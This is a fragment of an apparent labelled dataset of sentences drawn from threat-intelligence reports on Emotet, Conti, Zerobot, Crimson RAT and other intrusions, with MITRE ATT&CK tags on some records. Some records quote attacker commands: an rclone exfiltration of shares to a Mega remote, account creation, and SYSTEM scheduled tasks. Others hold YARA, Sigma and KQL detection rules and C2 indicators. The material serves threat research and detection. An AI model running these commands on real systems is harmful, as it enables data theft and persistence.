"doc_title": "Dead or Alive An Emotet Story"} {"sentence": "EventID: 17 EventType: CreatePipe Image: C:\\Windows\\system32\\SearchIndexer.exe PipeName: \\SearchTextHarvester Shortly after the credential dump using the SearchIndexer process, the Cobalt Strike process ran Invoke-Kerberoast looking for roastable accounts within the organization.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Discovery On the first day of the intrusion, the Emotet malware performed some basic discovery tasks on the host using built in Windows utilities.", "labels": ["T1059.003", "T1082"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "net users C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "We also observed Pass-The-Hash used throughout the intrusion via the Cobalt Strike Beacons.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "rclone.exe, copy, \\\\REDACTED\\Shares, mega:Shares, -q, --ignore-existing, --auto-confirm, --multi-thread-streams, 4, --transfers, 4 This activity was also visible on the network via Zeek logs showing the SMB share connection activity.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "In this intrusion, we observed both tasks occurring during the same time with both the delivery of access to the threat actor utilizing Cobalt Strike and exfiltrating data from the network, all the while, the original Emotet malware was tasked to deliver new malicious emails.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "status: experimental date: 2022/09/12 author: '@kostastsale, @TheDFIRReport' logsource: category: process_creation product: windows detection: selection1: Image: - '*\\AteraAgent.exe' CommandLine|contains|all: - '/i ' - 'IntegratorLogin=' selection2: CommandLine|contains:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "description = \"UOmCgbXygCe.exe\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"f4c085ef1ba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4c1ed11c0d726b\" strings: $s1 = \"runsuite.log\" fullword ascii $s2 = \"AppPolicyGetProcessTerminationMethod\" fullword ascii $s3 = \"f73.exe\" fullword ascii $s4 = \"Processing test line %ld %s leaked %d\" fullword ascii $s5 = \"Internal error: xmlSchemaTypeFixup, complex type '%s': the is missing a child, but was\" ascii $s6 = \"The target namespace of the included/redefined schema '%s' has to be absent or the same as the including/redefining schema's tar\" ascii $s7 = \"The target namespace of the included/redefined schema '%s' has to be absent, since the including/redefining schema has no target\" ascii $s8 = \"A is expected among the children of , if is used and the base type '%s' is a complex t\" ascii $s9 = \"there is at least one entity reference in the node-tree currently being validated.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "*, anyAttribut\" ascii $s19 = \"get namespace\" fullword ascii $s20 = \"instance %s fails to parse\" fullword ascii condition: uint16(0) == 0x5a4d and filesize <", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Goodware String - occured 50 times */ $s17 = \"A\\\",\\\"JJCCBB\\\"\" fullword ascii $s18 = \"Excel 4.0\" fullword ascii $s19 = \"Microsoft Print to PDF\" fullword wide $s20 = \"\\\"_-;\\\\-* #,##0.00\\\\ \\\"\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "The threat actors stayed dormant for most of this time, before jumping into action on an early Saturday morning.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "They utilized RDP, PsExec, and Cobalt Strike to move laterally within the environment before executing Conti in memory across all active systems.", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"} {"sentence": "Conti was executed in memory with the help of the Cobalt Strike Beacons domain wide.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "whoami /groupscmd.exe /C query sessioncmd.exe /C", "labels": ["T1033"], "doc_title": "Conti Ransomware"} {"sentence": "/C", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "on systems residing in the same subnet.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Privilege Escalation", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "net user /add /Y", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "The Yara rule, located in the detections section below was made possible due to him reconstructing the DLL.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Thanks Maxime!", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Paying the ransom will not help you here.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Encryption downgrade activity to ARCFOUR-HMAC-MD5 ET SCAN Behavioral Unusual Port 135 traffic Potential Scan or Infection ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET SCAN Behavioral Unusual Port 1434 traffic Potential Scan or Infection ET SCAN Behavioral Unusual Port 1435 traffic Potential Scan or Infection Sigma https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_commands_recon_activity.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/other/win_defender_disabled.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/other/win_tool_psexec.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_access/sysmon_in_memory_assembly_execution.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/network_connection/sysmon_rundll32_net_connections.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_net_user_add.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_psexesvc_start.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_psexec_eula.yml Sigma Rule Converter for SIEMs and EDRs: https://uncoder.io/ YARA /*YARA Rule SetAuthor:", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "echo NGAtoDgLpvgJwPLEPFdj>\\\"%s\\\"&exit\" fullword ascii$s2 = \"veniamatquiest90.dll\" fullword ascii$s3 = \"Quaerat magni assumenda nihil architecto labore ullam autem unde temporibus mollitia illum\" fullword ascii$s4 = \"Quaerat tempora culpa provident\" fullword ascii$s5 = \"Velit consequuntur quisquam tempora error\" fullword ascii$s6 = \"Quo omnis repellat ut expedita temporibus eius fuga error\" fullword ascii$s7 = \"Dolores ullam tempora error distinctio ut natus facere quibusdam\" fullword ascii$s8 = \"Corporis minima omnis qui est temporibus sint quo error magnam\" fullword ascii$s9 = \"Officia sit maiores deserunt nobis tempora deleniti aut et quidem fugit\" fullword ascii$s10 = \"Rerum tenetur sapiente est tempora qui deserunt\" fullword ascii$s11 = \"Sed nulla quaerat porro error excepturi\" fullword ascii$s12 = \"Aut tempore quo cumque dicta ut quia in\" fullword ascii$s13 = \"Doloribus commodi repudiandae voluptates consequuntur neque tempora ut neque nemo ad ut\" fullword ascii$s14 = \"Tempore possimus aperiam nam mollitia illum hic at ut doloremque\" fullword ascii$s15 = \"Dolorum eum ipsum tempora non et\" fullword ascii$s16 = \"Quas alias illum laborum tempora sit est rerum temporibus dicta et\" fullword ascii$s17 = \"Et quia aut temporibus enim repellat dolores totam recusandae repudiandae\" fullword ascii$s18 = \"Sed velit ipsa et dolor tempore sunt nostrum\" fullword ascii$s19 = \"Veniam voluptatem aliquam et eaque tempore tenetur possimus\" fullword ascii$s20 = \"Possimus suscipit placeat dolor quia tempora voluptas qui fugiat et accusantium\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 2000KB and( pe.imphash() == \"a6d9b7f182ef1cfe180f692d89ecc759\" or ( 1 of ($x*) or 4 of them ) )}rule conti_v3 {meta:description = \"conti_yara - file conti_v3.dll\" author = \"pigerlin\" reference = \"https://thedfirreport.com\" date = \"2021-05-09\" hash1 = \"8391dc3e087a5cecba74a638d50b771915831340ae3e027f0bb8217ad7ba4682\"strings: $s1 = \"AppPolicyGetProcessTerminationMethod\" fullword ascii $s2 = \"conti_v3.dll\" fullword ascii $s3 = \" \" fullword ascii $s4 = \" Type Descriptor'\" fullword ascii $s5 = \"operator co_await\" fullword ascii $s6 = \" \" fullword ascii $s7 = \"api-ms-win-appmodel-runtime-l1-1-2\" fullword wide $s8 = \" Base Class Descriptor at (\" fullword ascii $s9 = \" Class Hierarchy Descriptor'\" fullword ascii $s10 = \" Complete Object Locator'\" fullword ascii $s11 = \" delete[]\" fullword ascii $s12 = \" \" fullword ascii $s13 = \"__swift_1\" fullword ascii $s15 = \"__swift_2\" fullword ascii $s19 = \" delete\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 700KB andall of them}rule conti_cobaltstrike_192145_icju1_0 {meta:description = \"files - from files 192145.dll, icju1.exe\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"29bc338e63a62c24c301c04961084013816733dad446a29c20d4413c5c818af9\"hash2 = \"e54f38d06a4f11e1b92bb7454e70c949d3e1a4db83894db1ab76e9d64146ee06\"strings:$x1 = \"cmd.exe /c", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "What is Zerobot? Zerobot affects a variety of devices that include firewall devices, routers, and cameras, adding compromised devices to a distributed denial of service (DDoS) botnet.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "The malware may attempt to gain device access by using a combination of eight common usernames and 130 passwords for IoT devices over SSH and telnet on ports 23 and 2323 to spread to devices.", "labels": ["T1110"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "In addition to brute force attempts on devices, Zerobot exploits dozens of vulnerabilities, which malware operators add on a rolling basis to gain access and inject malicious payloads.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Microsoft has observed scripts targeting various architectures including ARM64, MIPS, and x86_64.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "While Zerobot is unable to spread to Windows machines, we have found several samples that can run on Windows.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "See detection details below.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Successful DDoS attacks may be used by threat actors to extort ransom payments, distract from other malicious activities, or disrupt operations.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "The following are the previously known Zerobot capabilities: Attack methodDescriptionUDP_LEGITSends UDP packets without data.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "HTTP_RAWFormats and sends HTTP GET requests.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "ICMP_FLOODSupposed to be an ICMP flood, but the packet is built incorrectly.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "TCP_SYNACKSends SYN-ACK packets.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "TCP_XMASChristmas tree attack (all TCP flags are set).", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "The impst.sh script used to download the remote administration toolDefending devices and networks against Zerobot The continuous evolution and rapid addition of new capabilities in the latest Zerobot version underscores the urgency of implementing comprehensive security measures.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Ensure secure configurations for devices: Change the default password to a strong one, and block SSH from external access.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Microsoft Defender for Endpoint Microsoft Defender for Endpoint alerts with the following titles can indicate threat activity on your network: DEV-1061 threat activity group detected An active ‘PrivateLoader’ malware process was detected while executing ‘Morila’ malware was prevented ‘Multiverze’ malware was detected Microsoft Defender for Endpoint also has detections for the following vulnerabilities exploited by Zerobot: CVE-2022-22965 (Spring4Shell) Microsoft Defender for Endpoint’s Device Discovery capabilities discover and classify devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "DeviceNetworkEvents | where RemoteIP in(\"176.65.137.5\",\"176.65.137.6\") | where ActionType == \"NetworkSignatureInspected\" | where Timestamp > ago(30d) |extend json = parse_json(AdditionalFields) | extend SignatureName =tostring(json.SignatureName), SignatureMatchedContent = tostring(json.SignatureMatchedContent), SignatureSampleContent = tostring(json.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "SamplePacketContent) |where SignatureName", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Just Because It’s Old Doesn’t Mean You Throw It Away (Including Malware!)", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "However, every once in a while, a campaign appears that turns this paradigm on its head.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "Email headers contain a rejection reason and a custom “Content-Type”.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "This goes to show that even older malware can still be dangerous no matter their age Fortinet Protections Fortinet customers are already protected from this malware through FortiGuard’s Web Filtering, AntiVirus, FortiMail, FortiClient, and FortiEDR services: FortiGuard customers are protected against this latest MyDoom campaign, which is blocked by FortiMail.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "TrueBot was known for using malicious emails to drop their malware but was recently seen using a Netwrix vulnerability as their delivery method.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Due to these findings, we cannot say for sure whether EvilCorp and TrueBot are connected.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Figure 1.4 3ujwy2rz7v.exe activity The executable then connected to the C2 domain name ‘dremmfyttrred[.]com’.", "labels": ["T1003.001"], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Indicators of Compromise 45.182.189[.]103 Dremmfyttrred.com 94.142.138[.]61 Locations: Russia, Panama Update.exe e8c342845a02608ecd1cca8ad409895bf530f6c2830b8af8b70a3d90e8b8d3da Document_26_apr_2443807.exe fe746402c74ac329231ae1b5dffa8229b509f4c15a0f5085617f14f0c1579040 172.64.155[.]188 104.18.32[.]68 3ujwy2rz7v.exe Summary TrueBot can be a particularly nasty infection for any network.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "RokRAT can execute remote C2 commands, data exfiltration, file download/upload, and keylogging.", "labels": ["T1056.001", "T1105"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "The first suspected subset of activity revealed Korean-language lure documents.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "Committees include Education and Judicial, International and Foreign Affairs, Defense, and Intelligence.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "There are two mobile phone numbers and a Zoom link with a password in the decoy document, which can be scraped to launch phishing material over social medial platforms.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "In X-Force’s analysis of recent RokRAT-related files, in lieu of a ZIP file, we found Optical Disc Image files (ISO) containing LNK files that had slightly modified PowerShell scripts, and Hangul Word Processor decoy documents (HWP).", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "Subsequently, two GET requests are initiated.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "In a third file we analyzed, instead of the LNK file dropping a VBS and a Plaintext file, a VBS file and a JPEG decoy file are dropped to the users %TEMPT% folder.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "In this case, the JPEG decoy file appears to be a correspondence related to the “Proof of Digital Assets”.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "tl;dr NCC Group and Fox-IT have been tracking a threat group with a wide set of interests, from intellectual property (IP) from victims in the semiconductors industry through to data from the airline industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "NCC Group and Fox-IT observed this threat actor during various incident response engagements performed between October 2019 until April 2020.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "With this publication, NCC Group and Fox-IT aim to provide the wider community with information and intelligence that can be used to hunt for this threat in historic data and improve detections for intrusions by this intrusion set.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The adversary continues their discovery of the victim’s network from patient zero.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "This can be anything from file and directory-listings, configuration files, manuals, email stores in the guise of OST- and PST-files, file shares with intellectual property (IP), and data scraped from memory.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Framing the adversary’s work in the MITRE ATT&CK framework Credential access (TA0006)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "And attempted logins came from a relative small set of IP-addresses.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "From this portal it was possible to launch the web-based VPN.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "It was possible to configure an alternate phone number for the logged in user account at the company portal.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "But before doing so, we observed the adversary checking the current permissions of the obtained user account with the following commands: net user net user Administrator net user ", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "If such a privileged user was recently active on a server the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "In other cases, the adversary moved laterally to another system with a domain admin logged in.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The adversary installs a hackers best friend during the intrusion: Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Cobalt Strike is a framework designed for adversary simulation intended for penetration testers and red teams.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "This research project covers the fingerprinting of Cobalt Strike servers and is described in Fox-IT blog “Identifying Cobalt Strike team servers in the wild”.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The collected information allows Fox-IT to correlate Cobalt Strike team servers, based on various configuration settings.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Because of this, historic information was available during this investigation.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The adversary heavily relies on scheduled tasks for executing a batch-file (.bat) to perform their tasks.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "\"SYSTEM\" /tn \"update\" /tr \"cmd /c c:\\windows\\temp\\update.bat\" /sc once /f /st 06:59:00", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The batch-files appear to be used to load the Cobalt Strike beacon, but also to perform discovery commands on the compromised system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Maybe because it was never necessary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The NtdsAudit utility is an auditing tool for Active Directory databases.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "This showed the tool was written in the Python scripting language and packed into a Windows executable file.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "At one customer, the data of interest was stored in a separate security zone.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "\\\\\\c$\\Progra~1\\Common~1\\System\\msadc\\ copy update.exe \\\\\\c$\\windows\\temp\\ move ak002.bat \\\\\\c$\\windows\\temp\\update.bat Collection (TA0009)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The goal of targeting some victims appears to be to obtain data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "After placing the DLL in the appropriate directory, the actor would change the date and time stamps on the DLL files to blend in with the other legitimate files in the directory.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Only a handful of times the adversary copies the data first before compressing (archive collected data) and exfiltrating it.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "They switched to C2 encapsulated in HTTPS in Q3 2019.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "With all this activity data, it was possible for us to create some insight into the ‘office’-hours of this adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The activity took place six days a week, rarely on Sundays.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "We observed some periods where we expected activity of the adversary, but almost none was observed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "For large amounts of data, such as the mailboxes and network shares with intellectual property, they use something else.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The following cloud storage web services are supported by the malware: DropboxGoogle DriveOneDrive The actor specifies the following arguments when running the exfiltration tool: Name of the web service to be usedParameters used for the web service, such as a client ID and/or API keyPath of the file to read and exfiltrate to the web service We have observed the exfiltration tool in the following locations: C:\\Windows\\Temp\\msadcs.exeC:\\Windows\\Temp\\OneDrive.exe Hashes of these files are listed at the end of this article.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Our threat intelligence analysts observed clear overlap between the various cases that NCC Group and Fox-IT worked in the threat’s infrastructure and capabilities, and as a result we assess with moderate confidence one activity group was carrying out the intrusions across the different type of victims.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "But the tool used for exfiltration to OneDrive is very specific for this adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Capability: Password spraying/credential stuffing.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Use scheduled tasks and batch files for automation.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Cloud exfil tool and exfil to OneDrive.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Overlap in filenames for tools, staged data, and folders.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "But most importantly: The largest overlap is in the top half of the pyramid of pain: domain names, host artifacts, tools, and TTPs.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "d /x \\\\\\File and directory discoverycacl Network service scanningget -b -e -pNetwork service scanningget -b -e Network share discoverynet shareNetwork share discoverynet view \\\\Permission groups discoverynet localgroup administratorsProcess discoverytasklist /v", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "/s /tn \"update\" /f schtasks /delete", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "-u .tar.gz MITRE ATT&CK references NameTypeIDMore infoInitial AccessTacticTA0001https://attack.mitre.org/tactics/TA0001/External Remote ServicesTechniqueT1133https://attack.mitre.org/techniques/T1133/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/ExecutionTacticTA0002https://attack.mitre.org/tactics/TA0002/Command and Scripting Interpreter:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Windows Command ShellTechniqueT1059.003https://attack.mitre.org/techniques/T1059/003/Scheduled Task/Job: Scheduled TaskTechniqueT1053.005https://attack.mitre.org/techniques/T1053/005/System", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Files or InformationTechniqueT1140https://attack.mitre.org/techniques/T1140/Indicator Removal on Host: Clear Windows Event LogsTechniqueT1070.001https://attack.mitre.org/techniques/T1070/001/Indicator Removal on Host: File DeletionTechniqueT1070.004https://attack.mitre.org/techniques/T1070/004/Indicator Removal on Host: TimestompTechniqueT1070.006https://attack.mitre.org/techniques/T1070/006/Hijack Execution Flow: DLL Side-LoadingTechniqueT1574.002https://attack.mitre.org/techniques/T1574/002/Masquerading:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Rename System UtilitiesTechniqueT1036.003https://attack.mitre.org/techniques/T1036/003/Masquerading: Match Legitimate Name or LocationTechniqueT1036.005https://attack.mitre.org/techniques/T1036/005/Use Alternate Authentication Material:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Pass the HashTechniqueT1550.002https://attack.mitre.org/techniques/T1550/002/CollectionTacticTA0009https://attack.mitre.org/tactics/TA0009/Archive Collected Data: Archive via UtilityTechniqueT1560.001https://attack.mitre.org/techniques/T1560/001/Automated CollectionTechniqueT1119https://attack.mitre.org/techniques/T1119/Data from Information Repositories: SharePointTechniqueT1213.002https://attack.mitre.org/techniques/T1213/002/Data from Local SystemTechniqueT1005https://attack.mitre.org/techniques/T1005/Data from Network Shared DriveTechniqueT1039https://attack.mitre.org/techniques/T1039/Data Staged: Local Data StagingTechniqueT1074.001https://attack.mitre.org/techniques/T1074/001/Data Staged:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "This post summarizes our observations highlighting the group’s continuous change in used malware staging techniques and Crimson RAT implementations.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "The group is not very sophisticated; however, it is a highly persistent threat actor that continuously adapts its operational strategy.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "The names and content of the lure documents, the associated domains, and the use of Crimson RAT suggest that the activities discussed in this post are part of a previously reported broader targeting of the education sector by Transparent Tribe.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "Malicious Documents The documents that Transparent Tribe distributes have education-themed content and names such as assignment or Assignment-no-10, and indicate creation dates of July and August 2022.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "The macros create and decompress an embedded archive file in the %ALLUSERSPROFILE% directory (C:\\ProgramData) and execute the Crimson RAT payload within.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "In addition to macros, we observed that Transparent Tribe have adopted OLE embedding as a technique to stage Crimson RAT.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "The adoption of OLE embedding further highlights the group’s continuous experimentation with malware staging techniques.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "As an anti-analysis measure, Crimson RAT variants delay their execution for a given time period, for example, 61, 180, or 241 seconds.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "Indicators of Compromise SHA1 Description 738d31ceca78ffd053403d3b2bc15847682899a0 Malicious document 9ed39c6a3faab057e6c962f0b2aaab07728c5555 Malicious document af6608755e2708335dc80961a9e634f870aecf3c Malicious document e000596ad65b2427d7af3313e5748c2e7f37fba7 Malicious document fd46411b315beb36926877e4b021721fcd111d7a Malicious document 516db7998e3bf46858352697c1f103ef456f2e8e Crimson RAT 842f55579db786e46b20f7a7053861170e1c0c5e Crimson RAT 87e0ea08713a746d53bef7fb04632bfcd6717fa9 Crimson RAT 911226d78918b303df5110704a8c8bb599bcd403 Crimson RAT 973cb3afc7eb47801ff5d2487d2734ada6b4056f Crimson RAT Domain Description richa-sharma.ddns[.]net C2 server cloud-drive[.]store Malware hosting location drive-phone[.]online Malware hosting location s1.fileditch[.]ch Malware hosting location", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "The Infection Chain The attack begins by luring a victim to click on a URL from a fake Facebook profile or advertisement to download a ZIP file that pretends to have an application, game, movie, etc.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "This legitimate application drops the Inno-Setup installer that decompresses to a whole PHP application containing malicious scripts.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "There are many other variations of these methods with minor modifications.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "The malicious DLL has two main goals: displaying the decoy to the victim and executing the Inno-Setup installer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "If it doesn’t, it downloads the file from its command and control (C2) server, then decodes and executes it.", "labels": ["T1105", "T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Instead, they’re downloaded from the C2 using the following pattern: https:///files/dld?t=wcup.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "dlz Download .zip", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Garmin’s ElevatedInstaller.exe executable abused to side-load malicious DLL", "labels": ["T1574.002"], "doc_title": 